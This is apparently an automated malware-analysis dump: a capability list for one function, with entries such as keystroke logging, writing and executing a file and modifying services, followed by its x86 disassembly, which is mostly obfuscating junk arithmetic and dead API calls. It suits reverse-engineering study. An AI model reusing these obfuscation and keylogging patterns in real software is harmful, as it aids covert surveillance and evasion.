Function at 0x1002edcb
Capabilities:
Accept command line arguments
Check os version
Clear file content
Create directory
Create pipe
Create process on windows
Delete directory
Delete file
Delete registry value
Get common file path
Get disk information
Get disk size
Get geographical location
Identify system language via api
Log keystrokes
Modify service
Query environment variable
Query or enumerate registry value
Read .ini file
Resume thread
Start service
Terminate process
Write and execute a file

Disassembly:
mov eax, 0x1007b0d6
call fcn.1007aa88
mov eax, 0x1108
call fcn.10077240
mov dword [ebp - 0x38], 0x5db34e6d
xor eax, eax
push ebx
mov dword [ebp - 0x14], 0xfffffffe
push esi
mov dword [ebp - 0x3c], 0xeafb5d1c
push edi
mov dword [ebp - 0x44], eax
xor edi, edi
mov dword [ebp - 0x2c], eax
inc edi
mov byte [ebp - 0x65], dl
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x1c], eax
jmp 0x1002ee1a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x8c], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002ee0d
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
xor ebx, ebx
cmp edx, 0x12f3
push 5
setge bl
xor ecx, ecx
cmp eax, ebx
setg cl
xor edx, edx
imul ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x14]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp edx, eax
pop eax
setg cl
sub ecx, dword [ebp - 0x8c]
cmp eax, ecx
mov eax, dword [ebp - 0x8c]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x38]
setne cl
add ecx, 0xffff560c
inc dword [ebp - 0x38]
cmp eax, ecx
jl 0x1002eebb
xor eax, eax
cmp dword [ebp - 0x8c], eax
je 0x1002eebd
mov eax, edi
jmp 0x1002eebd
xor eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
or ebx, 0xffffffff
imul eax, eax, 0xc28a
test eax, eax
je 0x1002ef0b
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], eax
jg 0x1002efe7
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002eeea
push eax
call esi
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp dword [ebp + eax*4 - 0x8c], ecx
jne 0x1002efe5
inc dword [ebp - 0x38]
push ecx
pop eax
cmp dword [ebp - 0x38], ecx
jle 0x1002eede
jmp 0x1002efe5
xor eax, eax
mov dword [ebp - 0x4c], 0x7a4860c0
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002ef36
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x48c], 0xfffffff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002ef1d
xor eax, eax
cmp dword [ebp - 0x48c], eax
jne 0x1002efdd
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48c]
xor eax, eax
cmp dword [ebp - 0x8c], eax
jne 0x1002ef94
mov ecx, dword [ebp - 0x48c]
xor edx, edx
mov eax, dword [ebp - 0x8c]
cmp ecx, eax
setle dl
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x8c]
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, ebx
mov eax, dword [ebp - 0x484]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setg cl
add eax, ecx
je 0x1002ef96
mov eax, edi
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x1002efb6
mov ecx, eax
cmp dword [ebp - 0x48c], eax
je 0x1002efb8
mov ecx, edi
mov eax, dword [ebp - 0x484]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
cmp edx, eax
sete cl
neg ecx
cmp ecx, 0x55e3164c
jne 0x1002efdd
xor eax, eax
jmp 0x1002efdf
mov eax, edi
mov dword [ebp - 0x8c], eax
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002effb
push 0x1922
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x38], 0x5db34e6d
push 0xfffffffffffffffe
pop ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x3c], 0xeafb5d1c
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x1c], eax
jmp 0x1002f027
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x98], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002f01a
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp edx, 0x12f3
push 5
setge cl
xor edx, edx
cmp eax, ecx
setg dl
xor ebx, ebx
imul edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp edx, eax
setle bl
sub ebx, dword [ebp - 0x14]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
imul ebx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, ebx
setg cl
xor edx, edx
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp edx, eax
pop eax
setg cl
sub ecx, dword [ebp - 0x98]
cmp eax, ecx
mov eax, dword [ebp - 0x98]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x38]
setne cl
add ecx, 0xffff560c
inc dword [ebp - 0x38]
cmp eax, ecx
jl 0x1002f0c8
xor eax, eax
cmp dword [ebp - 0x98], eax
je 0x1002f0ca
mov eax, edi
jmp 0x1002f0ca
xor eax, eax
imul eax, eax, 0xc28a
test eax, eax
je 0x1002f10f
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], eax
jg 0x1002f1ee
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002f0ee
push eax
call esi
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp dword [ebp + eax*4 - 0x98], ecx
jne 0x1002f1ec
inc dword [ebp - 0x38]
push ecx
pop eax
cmp dword [ebp - 0x38], ecx
jle 0x1002f0e2
jmp 0x1002f1ec
xor eax, eax
mov dword [ebp - 0x4c], 0x7a4860c0
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002f13a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4bc], 0xfffffff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002f121
xor eax, eax
cmp dword [ebp - 0x4bc], eax
jne 0x1002f1e4
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4bc]
xor eax, eax
cmp dword [ebp - 0x98], eax
jne 0x1002f19b
mov ecx, dword [ebp - 0x4bc]
xor edx, edx
mov eax, dword [ebp - 0x98]
cmp ecx, eax
setle dl
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x98]
neg eax
sbb eax, eax
or ecx, 0xffffffff
inc eax
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x4b4]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setg cl
add eax, ecx
je 0x1002f19d
mov eax, edi
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x1002f1bd
mov ecx, eax
cmp dword [ebp - 0x4bc], eax
je 0x1002f1bf
mov ecx, edi
mov eax, dword [ebp - 0x4b4]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
cmp edx, eax
sete cl
neg ecx
cmp ecx, 0x55e3164c
jne 0x1002f1e4
xor eax, eax
jmp 0x1002f1e6
mov eax, edi
mov dword [ebp - 0x98], eax
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
jne 0x1002eff0
mov dword [ebp - 0x20], 0x2c70bb74
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x34], 0xe6fc6088
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002f232
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd04], 6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002f219
xor eax, eax
push 2
pop ebx
mov dword [ebp - 0x20], ebx
push 7
pop esi
cmp dword [ebp - 0x20], eax
jl 0x1002f280
mov dword [ebp - 0x44], eax
xor edx, edx
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0xd00]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x44]
push 0
setg cl
imul eax, ecx
cmp esi, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x20]
pop eax
jns 0x1002f240
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], eax
jl 0x1002f328
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002f2b4
push 0x249
push 0x23b1
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1002f31a
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x1002f309
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], ebx
jge 0x1002f2e0
or ecx, 0xffffffff
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x410], ecx
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], ebx
jl 0x1002f2cc
xor eax, eax
mov dword [ebp - 0x410], ebx
cmp dword [ebp - 0x410], eax
jl 0x1002f304
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002f2fc
push eax
call esi
xor eax, eax
dec dword [ebp - 0x410]
jns 0x1002f2ee
dec dword [ebp - 0x20]
jns 0x1002f2c1
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002f317
push eax
call edi
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1002f2b9
dec dword [ebp - 0x34]
jns 0x1002f298
mov dword [ebp - 0x30], 0x5db34e6d
push 0xfffffffffffffffe
pop ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x3c], 0xeafb5d1c
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0x1f7e2799
mov dword [ebp - 0x1c], eax
jmp 0x1002f372
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002f36a
push 0x201b
push eax
push eax
push eax
push 0x1f70
push eax
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002f378
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffa
jne 0x1002f34b
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x44], 0xfffffff7
mov dword [ebp - 0x40], 0xfffffffd
cmp dword [ebp - 0x1c], eax
mov byte [ebp - 0x21], al
je 0x1002f3b2
cmp byte [ebp - 0x21], 0
je 0x1002f3cc
push 0xfde
push eax
push 0x1690
push 0x1c90
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
jmp 0x1002f3ca
cmp byte [ebp - 0x21], 0
je 0x1002f3cc
push eax
push 0xd42
push eax
push 0x1620
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jne 0x1002f489
mov dword [ebp - 0x48], 0xfe012d2c
xor edx, edx
mov dword [ebp - 0x20], 0x9cf13e13
xor ecx, ecx
mov dword [ebp - 0x3c], 0x16488a97
inc edx
mov dword [ebp - 0x2c], 0x98422518
mov dword [ebp - 0x4c], 0x3c3fa3c
inc dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
cmp eax, edx
setl cl
cmp dword [ebp - 0x20], ecx
jl 0x1002f426
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x44], eax
je 0x1002f428
mov ecx, edx
mov eax, dword [ebp - 0x48]
add eax, ecx
cmp eax, dword [ebp - 0x44]
jg 0x1002f439
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002f43b
mov eax, edx
cmp eax, dword [ebp - 0x2c]
je 0x1002f443
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x48]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
setl bl
xor ecx, ecx
cmp ebx, eax
setne cl
mov dword [ebp - 0x44], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xb
je 0x1002f3d9
push 2
xor eax, eax
pop ebx
xor ecx, ecx
mov dword [ebp - 0x1c], eax
inc ecx
jmp 0x1002f49e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa0], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002f491
mov dword [ebp - 0x38], 0x4b5f5c18
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x2c], 0x5fec6b03
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
mov dword [ebp - 0x1c], eax
je 0x1002f521
cmp dword [ebp - 0x1c], 3
jge 0x1002f4e3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd94], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002f4ca
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
jg 0x1002f68f
jmp 0x1002f4f3
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002f503
push eax
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0xd94], 0
jne 0x1002f68f
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jle 0x1002f4f1
jmp 0x1002f68f
cmp dword [ebp - 0x1c], 3
jge 0x1002f540
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2d4], 0xfffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002f527
xor eax, eax
mov dword [ebp - 0x48], 0xffffffe5
cmp dword [ebp - 0x48], 0xe
je 0x1002f68f
jmp 0x1002f555
xor eax, eax
mov dword [ebp - 0x4c], 0xfffffffc
push 5
mov dword [ebp - 0x20], 0x60e77906
pop ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], eax
jmp 0x1002f57f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x650], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002f56e
mov eax, dword [ebp - 0x4c]
xor edx, edx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2d0]
cmp ecx, eax
mov eax, dword [ebp - 0x2d4]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x650]
setne bl
imul eax, dword [ebp - 0x2d0]
imul ecx, eax, 0x74ad
mov eax, dword [ebp - 0x38]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ebx, ecx
sete al
xor edx, edx
cmp eax, 0x19a6fdd8
setne dl
xor ecx, ecx
imul edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2d4]
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x20], eax
jmp 0x1002f675
mov dword [ebp - 0x1c], 0x7977f45a
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002f608
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2d0]
neg edx
sbb edx, edx
inc edx
imul ecx, edx, 0x98b
sub ecx, eax
cmp dword [ebp - 0x650], ecx
jne 0x1002f668
mov eax, dword [ebp - 0x650]
push 0
mov dword [ebp - 0x2c], 0x72ea
inc dword [ebp - 0x20]
pop eax
cmp dword [ebp - 0x20], 0x14
jne 0x1002f5f0
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xe
push 2
pop ebx
jne 0x1002f553
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp edx, 0x12f3
push 5
setge cl
xor edx, edx
cmp eax, ecx
setg dl
xor ebx, ebx
imul edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp edx, eax
setle bl
sub ebx, dword [ebp - 0x14]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
imul ebx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, ebx
setg cl
xor edx, edx
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp edx, eax
pop eax
setg cl
sub ecx, dword [ebp - 0xa0]
cmp eax, ecx
mov eax, dword [ebp - 0xa0]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setne cl
add ecx, 0xffff560c
inc dword [ebp - 0x30]
cmp eax, ecx
jl 0x1002f72e
xor eax, eax
cmp dword [ebp - 0xa0], eax
je 0x1002f730
xor ebx, ebx
inc ebx
mov eax, ebx
jmp 0x1002f733
xor eax, eax
xor ebx, ebx
inc ebx
imul eax, eax, 0xc28a
test eax, eax
je 0x1002f77c
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x1002f85b
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002f75b
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp dword [ebp + eax*4 - 0xa0], ecx
jne 0x1002f859
inc dword [ebp - 0x30]
push ecx
pop eax
cmp dword [ebp - 0x30], ecx
jle 0x1002f74b
jmp 0x1002f859
xor eax, eax
mov dword [ebp - 0x4c], 0x7a4860c0
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002f7a7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x468], 0xfffffff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002f78e
xor eax, eax
cmp dword [ebp - 0x468], eax
jne 0x1002f851
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x468]
xor eax, eax
cmp dword [ebp - 0xa0], eax
jne 0x1002f808
mov ecx, dword [ebp - 0xa0]
xor edx, edx
mov eax, dword [ebp - 0x468]
cmp eax, ecx
setle dl
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0xa0]
neg eax
sbb eax, eax
or ecx, 0xffffffff
inc eax
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x460]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setg cl
add eax, ecx
je 0x1002f80a
mov eax, ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x1002f82a
mov ecx, eax
cmp dword [ebp - 0x468], eax
je 0x1002f82c
mov ecx, ebx
mov eax, dword [ebp - 0x460]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
cmp edx, eax
sete cl
neg ecx
cmp ecx, 0x55e3164c
jne 0x1002f851
xor eax, eax
jmp 0x1002f853
mov eax, ebx
mov dword [ebp - 0xa0], eax
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
jne 0x1002eff0
mov dword [ebp - 0x20], 0x2c70bb74
push 3
pop ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x34], 0xe6fc6088
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1002f89c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xda0], 6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002f884
xor eax, eax
push 2
pop ecx
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], eax
jl 0x1002f8f0
push 7
pop ebx
mov dword [ebp - 0x44], eax
xor edx, edx
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0xd9c]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x44]
push 0
setg cl
imul eax, ecx
cmp ebx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x20]
pop eax
jns 0x1002f8aa
xor ebx, ebx
push 2
inc ebx
pop ecx
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x34], eax
jl 0x1002f995
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002f91b
push 0x249
push 0x23b1
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 2
xor eax, eax
pop ecx
mov dword [ebp - 0x1c], eax
jmp 0x1002f987
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], eax
jl 0x1002f973
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], ecx
jge 0x1002f947
or edx, 0xffffffff
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x3c0], edx
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], ecx
jl 0x1002f933
xor eax, eax
mov dword [ebp - 0x3c0], ecx
cmp dword [ebp - 0x3c0], eax
jl 0x1002f96e
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002f963
push eax
call esi
xor eax, eax
dec dword [ebp - 0x3c0]
jns 0x1002f955
push 2
pop ecx
dec dword [ebp - 0x20]
jns 0x1002f928
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002f984
push eax
call edi
push 2
xor eax, eax
pop ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x1002f920
dec dword [ebp - 0x34]
jns 0x1002f8fc
mov dword [ebp - 0x38], 0x6951ad38
mov dword [ebp - 0x28], 0x44426282
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0x89aa5088
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002f9d3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb8], 0x4c6a37d7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002f9bb
xor eax, eax
mov dword [ebp - 0x14], eax
or edi, 0xffffffff
cmp dword [ebp - 0x14], 4
jge 0x1002f9ee
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5d8], edi
inc dword [ebp - 0x14]
jmp 0x1002f9d9
mov eax, dword [ebp - 0x38]
mov edx, 0xfffe
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002fa0a
neg eax
cmp eax, 0xafe44fa3
jae 0x1002fa0a
xor eax, eax
jmp 0x1002fa0c
mov eax, ebx
cmp eax, 0xb187b35f
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x4c]
sub ecx, eax
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x5d4], ecx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jl 0x1002fb03
mov eax, dword [ebp - 0x28]
xor edx, edx
push 7
pop esi
mov ecx, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xb8]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
sete dl
mov dword [ebp + eax*4 - 0x5d8], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + eax*4 - 0x5d8]
mov eax, dword [ebp - 0x2c]
sub esi, eax
mov eax, dword [ebp - 0x28]
sub esi, ecx
neg esi
sbb esi, esi
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x5d8]
inc esi
cmp eax, esi
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xb8]
cmp edx, eax
setge cl
xor edx, edx
cmp ecx, edi
setne dl
xor eax, eax
cmp edx, 0xfda8
setge al
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x5d8]
mov eax, dword [ebp - 0x5d4]
mov ecx, dword [ebp - 0x3c]
add ecx, eax
jne 0x1002faec
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0xb8], ecx
jne 0x1002faec
xor eax, eax
mov ecx, eax
jmp 0x1002faee
mov ecx, ebx
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x5d8], ecx
dec dword [ebp - 0x28]
jns 0x1002fa4b
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffff9
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002fb2c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5a8], 0xb9102071
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002fb13
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002fb4e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x198], 0x29000d4e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002fb35
xor eax, eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], ebx
jg 0x1002fc21
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5ec], eax
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 0x5e4], eax
mov dword [ebp - 0x5f0], ebx
cmp dword [ebp - 0x5f0], eax
jl 0x1002fbd5
mov dword [ebp - 0x44], 0xe8f21009
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002fba6
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
xor eax, eax
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], eax
jl 0x1002fbcd
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1002fbc8
push eax
push 0x1bc1
push eax
push eax
push eax
